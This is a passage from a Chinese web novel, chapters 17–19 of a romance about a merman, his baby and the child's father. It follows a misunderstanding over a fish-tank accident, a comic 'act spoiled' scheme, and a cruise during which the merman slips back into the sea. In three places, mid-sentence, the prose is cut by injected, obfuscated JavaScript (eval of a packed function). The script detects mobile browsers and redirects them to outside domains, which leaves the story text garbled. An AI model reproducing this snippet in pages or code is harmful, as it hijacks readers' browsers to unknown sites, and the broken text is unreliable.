他深知这跟今天的事并无关系,一定另有原因。姿音把鱼崽抱回自己的房间,关上房门,急得宫砚如热锅上的蚂蚁,一圈圈地在门口绕,心中的歉疚和惭愧又深一层。 姿音抚着鱼崽的小额头,唱人鱼族的安睡曲,崽崽这次发热比上次严重,姿音的嗓子几乎哑了,那温度才缓慢地降下来。 幸好,后半夜,鱼崽安然无事,在爸爸妈咪中间安静酣睡到天亮。 翌日,姿音把鱼崽带进浴室,“崽崽,把你的小尾巴变出来。” 鱼崽眼睛发亮:“巴!”咻一下,短而胖的蓝色尾巴甩出,欢快地摇了起来,荧蓝色的光在水中划出半圆电弧圈。 “亮亮!”鱼崽歪着脑袋,点点自己的尾巴。 姿音握住那小小的柔软尾巴尖,上次崽崽尾尖上的鳞片还只是微微发亮,这次那亮光已经开始刺目了。 不同寻常。 姿音联系海里的章鱼闪电,请求他把情况告诉旧神风暴。 不过半日,闪电就把结果回了过来。 原来,崽崽是因为短时间内吸收了太多亲生父亲旺盛的信息素,因而进入生长热。 解决办法也十分简单,稍稍远离一些就好。 宫砚就知道姿音生气了,只不过这人性格内敛害羞,生气也是默默地,藏着掖着。 否则,为什么今天一早就愁眉紧锁。 没有照顾好他最心爱的宝贝,发生了那样的意外,夜里崽崽又因此发了烧,自己的命都差点吓掉半条,更何况是姿音。 不过,好歹有将功补过的机会。这段时间不管发生什么,自己陪睡的作用总坚如磐石,只要从今往后,更认真更谨慎地照顾小崽,总能抚平姿音心里的芥蒂。 于是,在这天的晚上,宫砚去敲姿音的门。 “到睡觉时间了,小崽给我吧。”宫砚挺直腰背,态度谦逊,如重山般可靠□□。 姿音怀里搂着宝贝鱼崽,眼睫抬起,瞅瞅宫砚,踌躇地说:“嗯……不用你陪崽崽睡觉了。” 宫砚:? 宫砚:成年人的崩溃,往往就在一瞬间。 17.第 17 章 宫砚天都塌了。 难以置信,惶恐,悔恨,怔然……在他脸上交织成复杂难言的神色。 姿音这是给他判死刑了。 宫砚下意识伸手去碰一碰小崽。姿音怕他离得太近,对鱼崽不好,下意识就将胳膊往后撤了一下。 小小的动作,大大的伤害。 宫砚倒吸一口凉气,喉咙发颤,因为心惊到极点,反而冷静了,沉沉问:“为什么?” 姿音总不能说因为人鱼崽崽吸你的信息素吸晕了,他不善于撒谎,一个劲眼神飘移,支支吾吾,顾左右而言他。 “嗯……反正不怪你……不是,我真的没有生气。唉,你别管了就好了嘛。” 宫砚把他这幅情态看在眼里,心里透亮:姿音动气了,这次非常严重。只不过这人性情善良,不愿意直说,闹得难堪。 即使只见过姿音一面的人,都能轻易判断出来,这绝不是个心狠的人,吃软不吃硬。 宫砚攥了下拳,稍退后一步:“我们坐下来好好谈一下,可以吗?”面对如此礼貌坦诚,姿音根本拒绝不了。 “昨天晚上是我粗心,”坐在桌前,宫砚略低着头,转折锐利的眉峰耸起,“我想着到厨房拿个餐具就一转眼的功夫,不至于出什么岔子……” 忽然一愣:鱼缸有一米多高,小崽怎么掉进去的? 算了,事情已经发生过了,再纠结这些也没有用,宫砚在心底轻轻摇头。 “我知道说得再多也弥补不了你心里的惊吓,……这种事故不会再发生第二次。如果你愿意原谅我,再给我一次机会,以后我会尽全力照顾崽崽。” 本来坐下来时,姿音就受之有愧,宫砚这一番诚挚道歉,几乎让他忐忑不安,抓耳挠腮了。 他明镜似的,这事不是宫砚的错。 从前宫砚不肯认回崽崽,他骂过宫砚是渣男。但这么多天的相处,姿音能看到宫砚对鱼崽细心周全的照料。 别的事情姿音不了解,但当父亲,宫砚无疑是很合格的。 “不、不用……”姿音还是只能推辞,不过声音放得很缓,仿佛飘荡在湖面涟漪上的一只小船儿,“我没有吓到,你没有犯错,你不需要别人原谅。” 宫砚心想,唉,他说反话。态度更加诚恳,探问着说:“如果是这样……那今晚我们一起陪崽崽睡觉?” 姿音小幅度但坚定摇头,尽管对宫砚愧疚,但为了崽崽,他是一步不退的。 宫砚一瞧,果真是自己想的那样。如果姿音对自己没有怨气,怎么会一直拒绝,明明从前就一直放心让他带崽崽的。 于是愈加低声下气,把挺直的脊背弯下去,高傲脑袋垂下祈求原谅。 姿音也很不好意思,薄薄的肩膀渐渐缩起来,脑袋也理亏地矮下去。 两个人,脑袋一个比一个低,面上都一副无比心虚愧疚的模样。 宫砚低头:“对不起。” 姿音低头,“不用……”嘴笨,在心里抓耳挠腮辩白:不是你的错,这有可能……怪我。 宫砚头更低:“真的对不起。” 姿音在心里:呜呜,对不起,真不是你的错。 因为双方都太过投入,不知不觉两颗脑袋就嗑在了一起,宫砚忙扶住姿音:“嗑疼了吗?” 姿音实在是受不了了,羞愧得满面通红,抱起鱼崽一股脑冲回房间。 他在屋里踱步,长吁短叹,照宫砚的执着程度,明天给他跪下都有可能。 怎么办,怎么办?想了许多不让宫砚带崽崽的理由,但细究之下,都很勉强,只会让宫砚误会更深。 姿音长吁短叹,鱼崽有样学样,小老头似的长长吐出一口气:“唉,唉~” 鱼崽现在身体里不缺宫砚的信息素,即使只有姿音陪伴,一样乖乖入睡。姿音哄睡了小崽,手掌还在柔柔拍着崽崽后背,想象着明天要如何面对宫砚,愁得眉头轻锁。 突然,耳畔响起一道义气的声音。 “有事你找我。” 他的人类好朋友!姿音上岸伪人,对人类只能说一知半解,但他的好朋友可是资深人类。 姿音打给了江溪,半遮半掩,简陋地讲述了目前自己的困境。 姿音:“有没有办法让他不要再继续给我道歉了。” 江溪惊奇:“他又犯错了?” 姿音连忙摆手:“不不不,这件事跟他没关系。” 江溪:啧,你再维护他?上次他说什么来着,男人犯错只有0次和亿次!瞧瞧吧,瞧瞧吧,这才多久! 不过江溪不会对朋友太多苛责,姿音一看就是那种会被渣男玩弄于鼓掌之中的天真纯情小白花。 而且姿音这次进步了,连那男人的道歉也不想接受,岂不是个要拒绝,要分手,要让那人放弃死缠烂打的意思? 这题他会。 江溪笃定道:“你听我的就行了,保准管用!” 第二天周日,宫砚带姿音和小崽出去玩。 面对商场生意,他玲珑心思,一锤定音,但面对姿音,宫砚无计可施。昨晚绞尽脑汁,辗转反侧,想出的办法无非就是带姿音出门玩,不论姿音说什么,他都点头,姿音想要什么,他都买拿下,让姿音心情慢慢转晴,解开双方这个芥蒂。 宫砚拉开车门,手掌护在姿音头顶,把他迎下车,进入预定的餐厅。 双方落座,身着熨帖领带马甲的服务生把菜单交给宫砚,宫砚绅士地递给姿音:“看看想吃什么。” 姿音有点小紧张,闻言一掀浓密眼睫:“……你点吧,我都可以。” 从他平时的饮食,宫砚看不出有什么特别的偏好,姿音吃什么东西都仿若发现金子似的,一双乌眸精光闪闪,一点也不挑食。 宫砚唇角勾了勾,点了些店里的经典菜品。 服务员走后,气氛有点冷清,宫砚轻咳一声,找话题道:“没有小崽在,就我们两个,有点不适应。” 他早晨把鱼崽送回爷爷奶奶家了。 “你不用担心,”宫砚说,“老人家把崽崽看成眼珠子一样,需要注意的地方我反复叮嘱过了。” “嗯。”姿音在桌底搓了搓手指。他不担忧这个,自己都没发现,对于宫砚,有种下意识的信赖。 一道酒渍罗氏虾,一道葱烧小肋条,一道红酒牛肉塔,一道焦烧鱼排先送了上来。 刀叉轻碰,宫砚携一块酥香鱼排放到姿音面前的白瓷盘上。 姿音没拿餐具,只顾把漂亮的唇微微抿起,忍耐似的,双手搁在腿上,略低着头,细眉轻蹙。 宫砚疑惑,正要去问,就见姿音嘴角似动非动,而后猛地抬起一张敷粉的小脸。 “鱼、鱼鱼这么可爱,怎么可以吃鱼鱼!” 宫砚:“?” 宫砚懵。 双方对视五秒,姿音的脸更红了,像承受不住这份羞赧,山茶花似的首先把脑袋垂了下去。 宫砚:“噗。”好可爱。 姿音抬起头:“?”宫砚是不是笑话自己了? 宫砚连忙绷起脸皮,面上严肃。 他怎么忘了,小崽和姿音都这么喜欢小鱼,让他吃鱼,确实是一种残忍。 唉,怪他不细心。 宫砚轻声道:“好,我知道了,别生气。”叫来服务生,让把鱼排撤了,看了看姿音的脸色,感觉不太保险,顺带把虾也撤了。 这下桌上没有任何水产,可以放心吃了。宫砚将小肋条上的贴骨肉卸了,送到姿音的盘子里。 姿音手指抓在膝盖上,继续进攻:“你知不知道,小猪来到这个世界上有多么不容易?猪妈妈付出多少努力,才把小猪养大。” 手指往大腿上轻轻拧了一把,羞耻得手指绞紧。 昨晚,江溪振振有词地教:“想摆脱男人很简单,你就故意作,众所周知男人根本没耐心,多作几次他一准受不了。” 宫砚愣了愣。 盯着盘里裹着酱汁的肋条肉,眼前仿佛出现猪妈妈带着小猪在青草间散步,自由地呼吸着暖融融的空气。 他居然觉得姿音说得很有道理! 宫砚又叫来服务生,把小肋条撤了。 唉,牛妈妈一定也很不容易。 把牛肉塔也撤了。 桌面上空空如也的同时,蔬菜沙拉,蜜枣莲藕,奶油蘑菇汤依次端了上来。 宫砚小心翼翼瞥看姿音的脸色,这次没有肉,应该保险了。 姿音望着那盘沙拉说:“你不觉得它们长在地里好好的,突然被拔了出来,很无辜,很可怜吗?” 宫砚眼前吹来一阵春天的微风,那么柔和,身边的土壤,那么湿润,可是突然脑袋一痛,人类将他拔了出来,他像失去襁褓的婴儿,失去所有庇佑和温暖…… 宫砚沉沉:“嗯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14959306|160981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……的确很可怜。” 宫砚夹一片莲藕。 姿音:“人类每吃一片莲藕,就有一个哪吒失去身体。呜呜,这实在是太残忍了。” 宫砚:? 这怎么不算有道理呢? 宫砚叫服务员来把桌上的菜撤了。 最后,桌面上只剩下两杯水,宫砚拿起杯子抿了一口。 姿音抬眼,宫砚心道,难道矿物质微生物也……? 吃顿饭,姿音把大腿拧得快肿了,眼周飞红,眼眸波光盈盈。事实上,你能指望一条九漏鱼想出多么合理的解释呢? 姿音咬了咬嘴唇,可怜巴巴:“你为什么要用嘴巴喝水?” 宫砚:? 嘶……有道理欸。其实他还没试过用鼻孔喝水。 一顿饭吃完,两人饥肠辘辘地离开餐厅。相比于来之前的焦躁,宫砚的心安定了许多,姿音居然一直在跟他撒娇!!这绝对是和好的信号。 宫砚心里美得冒泡,谁能想到矛盾不仅逐渐化解,还让姿音对他亲密了起来。 姿音偷偷睨宫砚,按照江溪的策略,他这么无理取闹,宫砚一定觉得他很作,从而对崽崽掉进鱼缸里的愧疚感大大降低,不再纠缠道歉。 好耶,大成功! 姿音再接再厉。 进到商场一楼,满目黄金店铺,珠光宝气。姿音刚一进店,导购习惯性打量一眼顾客,一个高大英俊,一个肤白貌美,着装十分贵气讲究,急急迎了过去介绍。 姿音手肘压在柜台上,视线溜在溜去。宫砚则像个合格的老公一样,弯着腰,饶有兴致地和他一起看。 江溪分手法则第二条:“幼稚的男人相信爱情,而这时候,你就要用金钱,狠狠打破他的幻想!” 姿音看到一只八千八百八的金表,超超超超贵!他小半月的工资。 “我要这个。”姿音对宫砚说。宫砚顺着他白生生的指尖看去,很普通的一只表,太过便宜,不搭姿音的气质。姿音手腕细长白皙,戴高净度的蓝宝石的手表不知多么漂亮。 宫砚露出不赞同的神色。 姿音一瞧,轮到自己发挥了。 “哼!你不想给我买吗?”姿音尖尖的下巴扭了过去,骄纵地说,“小溪就有一个,我就要。”看着宫砚的眼睛,戏瘾大发:“没错,我就是这么物质的人。” 从宫砚认识姿音起,这个人就无欲无求,好似这里根本没有他留恋的东西,就像前段时间那样,提包带崽就走人。 而现在,姿音想要这块表,而且想要自己买给他,尽管这块表太过廉价,太过普通,但意义非凡。 宫砚简直乐上天了。 今天怎么回事,惊喜一个接着一个,是要把他给活活开心死吗? “好!”宫砚立刻让店员拿出来,调表带,包起来。殷勤地问姿音:“还有想要的吗?我都给你买。” 姿音眉心蹙起,怎么跟剧本里写的不一样? 不管了,指望一只人鱼灵活变通是不现实的。 逛了一下午,回到家里,宫砚煮了意大利面,姿音吃饱后,本来想像平时一样和宫砚一起收拾厨房,忽然想起江溪的教导,脚步顿住,转了个方向,躺到了沙发上。 江溪分手法则第三条:“懒惰是人类公敌,只要你在家里瘫着啥都不干,还不停指挥他这,指挥他那,男人很快就厌烦了。” 姿音用眼角斜睨厨房,宫砚正在擦盘子。 “宫砚,”姿音没骨头似的躺在沙发里,懒懒地叫,还没说出要求,宫砚咻一下,仿佛一直大型犬般,窜出了厨房。 “怎么了?”宫砚耳朵可疑的飘上红色。 不知道为什么,姿音每次喊他名字,他脊背就像是电打了。 “你给我切水果。”姿音颐指气使地说,宫砚怔然片刻,脸上出现做美梦般的神情。 他美滋滋领命,打开茶几的抽屉,把电视机打开:“你先看电视。” 说完又走去卧室,找来一条小毛毯,给姿音盖上,转身调了调中央空调的温度。 不一会儿,端着果盘来了,没等姿音命令,已经半跪在地毯上:“别占手了,我喂你吧。” 姿音:干嘛抢我的台词? 姿音指挥:“你喂我。” 宫砚用“你对我可真好”的狗狗眼,感激地盯着姿音,心满意足地叉下一块苹果,送到姿音嘴边。 18.第 18 章 白色的果肉,红润的软唇形成鲜明对比,宫砚不由得闪了下目光,心猿意马地盯着别处。 苹果汁水充盈,从水红的唇上流下来一滴,姿音下意识舔唇,宫砚同时手指擦一下,姿音探出的舌头扫到了宫砚的指腹。 两人俱是一愣。 宫砚窘迫不安地站起身来,姿音也很不好意思,默默地把果盘抢了过来,自己吃。 “你去把地拖了。”姿音抬抬手指,人尴尬的时候总是很忙,宫砚:“哦哦,地上脏了,得好好拖两遍!”冲去浴室。 宫砚呼哧呼哧涮拖把,忍不住就往自己指腹上瞥,回想起方才一尾小鱼儿似的湿滑触感,胸腔地震似的轰轰隆隆。仿佛壮牛,浑身使不完的劲儿,把客厅,楼梯擦了三遍才罢休。 宫砚该烦了吧?姿音悄悄扫过家里跑来跑去的健硕身影。 其实效果好不好,宫砚心里怎么想的,他不大看得出来。 但宫砚今天确实没有再对自己歉疚了,这很好。 那要不要再加大剂量试试呢?争取一举成功。姿音扯开小毯子,悠悠然晃到浴室里去,先变出尾巴,玩了半小时的水,而后恢复人身,悠闲地泡在浴缸里。 “宫砚。”姿音叫,“给我拿浴巾。” 宫砚走到浴室门前:“浴室的柜子里有干净浴巾。”姿音鼓了下两腮:“我就要你给我拿的。” 宫砚摸了把脸,热得吓人。 他到衣柜,拿了条浴巾回来,轻轻敲了下门。姿音使用作加懒惰的双重计:“拿来呀。”宫砚低着脑袋:“……我给你挂门扶手上好不好?” 姿音故意拍了下水面:“你要送到我手上!” 宫砚摸了下鼻尖,很不敢相信:“真的?” 姿音不耐烦:“快点!” 宫砚按下门把手,眼睛垂到只能看到双脚:“我进来——”话未说完,脸上溅到了温凉的水,姿音掬一捧水往他脸上撒,大叫道:“流氓呀!谁让你进来的!” 明明没干流氓的事,但宫砚却第一时间认同了姿音的话,闪身出去,关上浴室的门。 姿音仿佛什么都没发生,甜甜地说:“我的浴巾呢?快拿来呀。” 宫砚:“……” 很无厘头,但宫砚就是觉得莫名可爱,可爱到他要拼命捂着自己的嘴,才能不笑出声。 最后,宫砚开着扫地机器人,把浴巾成功送到了姿音的手上。 这一天,宫砚几乎要认定自己和姿音已经和好了。可到了晚上,当他把小崽从爸妈家里接回来,要带着小崽一起睡觉的时候,姿音还是坚决拒绝了他。 “不可以。”姿音搂着鱼崽崽,摇了摇头,把门关上了。 宫砚没有再追问同样的问题,问姿音为什么。他了解姿音,姿音不想说就一定不会说。他是个很有耐心的人,很明显,今天姿音无疑对他亲昵。 姿音已经想原谅自己了,只不过大概心里总还会有些不舒服。 只要再接再厉。 一个念头忽然涌上脑海:姿音和小鱼崽都这么喜欢小鱼,喜欢水,喜欢海洋,为什么我不带他俩出海玩玩呢? 宫砚稍一思索,就觉得方案可行。即刻联系了自己那艘游轮的船长,约好时间。再打给萧历,邀请他一同游玩。 宫砚连交际宴会都鲜少参加,更别说这种奢靡娱乐了。而这种东西萧历在行,由他组织,宫砚放心。 萧历一听,惊愕道:“你吗?你要出海玩?你啊?” 宫砚“嗯”一声。 “不是,”萧历乐了,“你个老铁树,怎么会突然想着出去玩?”转念一想,暧昧地怪叫起来,“肯定是带嫂子去玩?我说呢!你孤家寡人一个去吹那冷海风。” 宫砚一挑眉,直接默认。 “行行行,我倒要嫂子长什么天仙样子。”萧历兴冲冲地说,“把你这老铁树迷得神魂颠倒。” 过了两日,周三那天,经理给姿音排休一天,宫砚把这个出游计划告诉姿音,果然收获了四只明闪闪的黑眼睛。 姿音:“去海上玩吗?” 鱼崽:“嗨!” 宫砚得意地点头。姿音笑道:“太好了,我有点想我的朋友们,可以去见他们一下。” 姿音说的是海里的朋友,宫砚理解错了,说:“你要邀请朋友一起上船吗?可以,到我的私人码头集合。” 时间一到,宫砚载着姿音和小崽来到码头,登上甲板。 宫砚戴着太阳眼镜,眺望码头来车方向:“你要带的朋友们呢?”姿音指指大海中央:“在那边呢。” 宫砚:“唔,原来是去找他们玩,行!” 阳光很晒,可姿音戴不惯太阳眼镜,一戴上,连路都不会走了。宫砚把他护到臂弯里,用手臂给他和小崽遮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14959307|160981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挡太阳,一路进了船舱。 萧历在跟船长讲路线:“对,去年我们去了一次,后面还有海豚跟船……”冷不丁眼尾滑过一片乌黑光滑的东西,萧历对这种东西天生警觉,直直地望过去。 姿音刚进船舱,光线暗了一点,眼睛正在适应,忽然两道仿若子弹似的目光射了过来,针对性极强,这是他不熟悉的地方,悄悄往宫砚身后躲了下。 下一秒,萧历冲了上来。 “嫂子!你的头发真好啊!”萧历羡慕得眼睛滴血,在姿音浓密黑亮的蓬松头发上扫来扫去,像是在欣赏一件完美的艺术品。 “发量多,发质顶,还蓬松柔软。”萧历呜呜咽咽,目光转到姿音怀里的小崽头上,黑亮亮一片,又转到宫砚头上,黑亮亮一片。 天杀的,这真是一家三口! 萧历扯袖子抹眼泪。 姿音发现他没有恶意,就从宫砚身后出来了:“你好,我是姿音。” 宫砚瞪一眼沉浸在自己头发世界里的萧历,萧历换上一副友善面孔:“你好,嫂子。别见怪,我就是羡慕你们一家头发长得漂亮。不像我,唉!” “崽崽,你跟叔叔打个招呼吧。”姿音举举鱼崽的小爪。 “鱼鱼!”鱼崽喊,他跟萧历见过面,所以很高兴地挥舞两只小鱼爪。 这样可爱活泼的崽谁不喜欢呢,萧历很快就忘掉了头发的悲伤,跟鱼崽握握手,逗着鱼崽玩。游轮中有专门的厨师跟船,中午三人一崽在船舱里享用了一顿丰盛的午餐,下午时分,大家在甲板上支一张躺椅,舒舒服服地晒太阳。 “鱼!”鱼崽激动极了,小手指头不停地指着海里。 这就是他们的家呀,大海,姿音和鱼崽一样高兴自豪。 他打算晚上的时候,溜回海里看看朋友们。小崽如果也带去,两个同时不见,比较可疑。姿音目前在控制小崽和爸爸宫砚的接触,所以到了晚上,他暂时让萧历带着崽崽玩。 萧历是个顽童性格,带着鱼崽在游轮里晃,把喜欢新奇玩乐的小鱼崽哄得笑声不断。 而宫砚只能在一旁酸溜溜地看着。 如果姿音此时没有在生气,他们一家三口今晚还能睡在一张床上呢。 夜晚降临,所有人都以为姿音在自己的房间里,但其实,他已经换了隐蔽的装束,从不起眼的甲板一处,噗通,跳进了温暖的海里。 19.第 19 章 落日余晖一点点消失在天水接壤一线。 游轮甲板,泳池边,宫砚端着枸杞茶,一边慢慢抿,一边从杯沿眯着眼睛瞄小鱼崽。 鱼崽跟怪叔叔萧历玩得牙不见眼,萧历会变一点魔术,最能逗小孩子开心。他向鱼崽崽展示自己空无一物的手心,手掌一握,再张开时,一个海龟玩偶凭空出现在手心。 鱼崽两只圆溜溜的瞳仁一跳:“嘎嘎嘎嘎嘎嘎!” 萧历把玩偶放到鱼崽的手上,捏了捏小胖脸蛋:“叫叔叔。” 鱼崽咧着嘴巴傻乐:“嘘嘘!” 宫砚:“噗。” 萧历:“……” 宫砚挑起一侧眉峰,得意道:“鱼崽会叫爸爸。”对鱼崽夹起嗓子:“崽崽来,叫爸——爸——” 鱼崽沉迷新玩具,啃啃小乌龟的壳子,揪揪四只爪子,跟新朋友玩得太专注了,根本没听到爸爸讲话。 宫砚:“……” 萧历很少见到宫砚吃瘪:“哈哈哈哈哈……” 宫砚默默喝茶。虽然他是崽爸爸,但姿音回客舱之前特意把小崽托付给萧历照料,他不敢违背姿音的意思,直接去把小崽抢回来。 萧历笑道:“鱼崽太可爱了,白白软软一个小团子,谁发明的呢?”贼眉鼠眼一笑,“你到底怎么跟嫂子认识的?不会是你个老禽兽骗了嫂子吧……” 宫砚蹙眉,默了默,说姿音就是那晚宴会的人。 那次的晚宴宫砚湿了鞋,多少次握紧拳头说不会放过罪魁祸首!他这么一出口,双方都知道是什么意思。萧历眼眶瞠大,惊道:“……你是说,嫂子就是那天晚上在你房间的人……?” 宫砚的闭口不言显然是默认,低沉道:“这一定不是他的主意,他是被人当枪使了。”两手一摊:“你也看到了,他看起来这么有礼貌。” 这点萧历举双手双脚赞同。不仅是漂亮清纯的长相,姿音眼神中透露着一种气质,那种气质甚至和他怀中的鱼崽相似,天真,纯净,像是冬日里万里无云的蓝天。这种人容易被哄骗,却绝不会主动伤害别人,萧历在商圈里混了这么多年 ,如果连这点看人的本事都没有,早被生吞了。 “嫂子也是受害者,你要好好对他啊。”萧历感叹,话锋一转,“所以……你们现在是什么阶段了?已经偷偷结婚了?见过父母了?” 宫砚轻咳一声,“还没那么快,……也就是他暗恋我的阶段。” 萧历眯细了眼睛望过来,宫砚义正严词道:“我倒是没什么想法。” 目睹自己哥们恨不得一整天黏在姿音身上的萧历:装,继续装。 宫砚这时露出烦恼的神情,讲了鱼崽掉进鱼缸的意外,姿音在心里动气。“因为这件事,他这几天才不让我接触鱼崽。”宫砚说。 萧历摸了摸下巴:“嫂子不像是在跟你生气的样子啊,看你的眼神温柔似水的。”宫砚十分满意这个回答,嘴角弧度上升:“你也这么认为吗?其实我也觉得他已经消气了,你不知道,前两天……” 突然就滔滔不绝,絮絮叨叨起来。 萧历:? 听了半小时哥嫂爱情的萧历:…… 宫砚缓缓道:“你觉得有没有一种可能,他故意让我吃醋,所以才让你带着小崽?” 萧历:“你的意思是,我成了你们吵架情趣中的一环?”沉重地一拍宫砚肩膀:“答应我,一下船就拐去医院精神科,跟医生说妄想症晚期,还有治疗的可能吗?” * 光电像一发子弹,在黑沉的大海深处穿梭,极速中鳞片和水流高速摩擦,迸发出电离火花,仿佛黑夜中一抹粉蓝色的流星。 柔韧腰腹摆动,带起人鱼鱼尾在水中,似一段柔和的丝绸,优美而丝滑。 姿音用以人类难以企及的速度,到达了海底的家。邻居和朋友们火速察觉出人鱼摆尾不同寻常的水流波动,围簇了上来,在姿音身边亲亲蹭蹭。 姿音跟大家一一打了招呼,用手指在鱼儿们的鳞片上轻轻摸一下,迷得小鱼儿们晕头转向。 闪电第一时间到达现场,激动万分,忍不住跳起了乱七八糟的舞蹈。姿音笑了笑,他带了一个大包回来,从里面掏出一个大陶罐来。 闪电一下愕住了,八条章鱼足僵滞。 姿音轻笑,“这是送给你的。”他知道,闪电这种章鱼,最喜欢容器一类的东西,特别是他带来的这个陶罐,还有个盖子呢! “咕噜咕噜咕噜!!!”闪电小心翼翼地把陶罐接过去,八条爪轮流盘了一遍,而后迫不及待地将身体塞了进去。姿音帮他把盖子盖上。 姿音从包里拿出一个大钳子,张望一圈,向庞大的灯笼鱼游去。灯笼鱼经常和崽崽玩,虽然面目狰狞,但十分友善,有时崽崽玩得疯了,把头顶的小灯笼搓得暗沉,灯笼鱼也不生气。 灯笼鱼的鱼鳃附近,插进一只鱼钩。姿音曾经想帮它拔下来,但鱼钩钩得很紧,深深陷进肉里,又是腮部附近,任你再大力,投鼠忌器,每次都以失败告终。 “这是钳子。”姿音摸摸灯笼鱼的嘴巴,安抚地说,“不会太会疼,忍一下。” 姿音用钳子夹住鱼钩环,两手用力一按,惹出许多疼痛的钩子裂成两块,姿音轻轻一捏就出来了。 灯笼鱼自由地游了一圈,像小狗一样用脑袋顶了姿音手掌一下。 姿音笑了笑,把带回来的人类钳子,剪刀,粗粝磨脚石……但凡他觉得能用上的,全部放进贝壳箱里。 见完朋友和邻居,他本来想早点回船上去,以防露馅,可一抬头,家门口居然排起了长队! 这些深海的鱼类们,或大或小,长相百态,有的身上缠着细密的渔网,有的锋利罐头切入身体,有的被垃圾袋缠住呼吸腮…… 姿音瞬间心软,用工具一个个处理起来。 他让闪电在一旁看着,章鱼爪十分灵活,学习能力极强,当自己不在的时候在,受到困扰的邻居们可以来找闪电帮助。 只是他拔掉这条鱼尾巴的鱼钩,看着下一位被渔网紧覆的鱼,总是觉得很可怜,不忍放下工具。 再把这个渔网剪掉就走,再把这个罐头切开就走……姿音这么想着,手上动作起来,家门口更加水泄不通。 * 游轮渐渐驶入近海航区。 宫砚聊起姿音和自己的感情,没完没了,一开始萧历还饶有兴趣,一小时后,像是数学课上的差生,昏昏欲睡。 “难道这样还不是喜欢我?”宫砚摇头道,“他真的太明显了!” 萧历翻白眼:“哦。” 突然,甲板上颠簸两下,船头明显抬起一个高度,整艘游轮首尾晃动,宫砚手里的枸杞茶泼了自己一脸。 宫砚下意识朝鱼崽的方向伸出双臂,萧历躺在躺椅里,鱼崽在萧历臂弯里稍稍斜倾,被萧历牢牢抱住了。 他这才收回手,抹一把脸,让船长和安保过来。 船长报告说方才遇到了小型风浪,没有多大危险,但以防万一,还是请到船舱里。 鱼崽在这里,再小的意外可能,宫砚都千万分重视,立刻带着鱼崽转移到船舱里。安顿好鱼崽,宫砚忍不住担心起姿音。 尽管知道姿音在豪华客舱里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14971801|160981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会有什么事,但他会不会受惊吓?或者晕船? 宫砚立刻上楼,跑去客舱层,敲响姿音的门。里面没有回应,宫砚道:“姿音?刚刚遇到小风浪了,现在船有点晃,再过一会儿就会平稳下来。” “你如果害怕,我进来陪着你。” “……姿音,你在睡觉吗?”宫砚又叩两下,里面越是安静没有回应,他心里越是不安。姿音上次不辞而别,确实让他有点惶恐的阴影。 宫砚站在门前给姿音的手机打电话,无人接听,宫砚又打,贴在门板上,听到里面微弱隐约的电话铃声。 如果姿音在房间里面,他不会不接电话! 宫砚一颗心砰砰乱跳,却又不敢胡思乱想,扰乱理智。他让管理人找来备用房卡,刷开房间,豪华客舱是套房形式,宫砚大风似的掀开各个房间的门板,空无一人。 “应该是去船上玩了。”管理人劝慰说。 关心则乱,姿音当然有可能没带手机,去了游轮上其他地方。虽说这是宫家的私人游轮,但依旧装备了基本的娱乐酒吧,游戏厅,电影院,观光台等。 姿音喜欢大海,说不定在观光台欣赏日落。 想到这里,宫砚心中安定许多,联系船长找人。一时间,游轮上的服务生跑来奔去,找寻和大老板一起上船的那位漂亮青年。 可游轮再大,这么多人,十分钟也就搜出了结果。 ——姿音不在船上。 宫砚面上犹如寒风刮过,冷得刺骨。船长擦着汗,哆哆嗦嗦道:“不、不应该啊,夫人能去哪里呢……” 是啊,能去哪里呢,所有地方都找遍了。宫砚环顾一圈,牙关紧咬,突然冒出一个糟糕的猜想。 方才甲板波荡,如果姿音恰巧站在甲板护栏边缘,泼溅的浪花致使地板湿滑…… “用热红外感应器和声音传感器去搜!”宫砚跑了起来,众人冲到控制室,紧盯屏幕上蓝幽幽的海面和波浪。 这时候便恨当初装备私人游轮,为了隐私,没有加装摄像设置,不能看到姿音什么时候,从哪个地方掉进了海里。 设备没有发出任何异常提醒,船长脸上愈加惨败,弱弱道:“没、没没有人,宫总。” 宫砚面上阴云笼罩,沉像是要吃人:“下救生艇!”一边往外跑,一边指挥船长,“继续用无人机搜。” 他不能让姿音出事。 姿音不可以再离开他。 姿音在等他…… 宫砚火烧眉毛地跳进救生艇,驾驶快艇,他是一把好手,不顾后面人的追赶,开着就往船尾的方向冲。 姿音在等他,那么胆小的一个人在害怕,他不可以不去……宫砚心中只有这一个念头。 宫砚开着艇上的红外感应,焦急地在茫茫海上搜寻,忽然一个海浪袭来,小艇剧烈摇晃。那会儿的小风浪现在显然已经升级,一浪高过一浪,又一侧浪猛地打来,一下将摇摆的小艇掀翻。 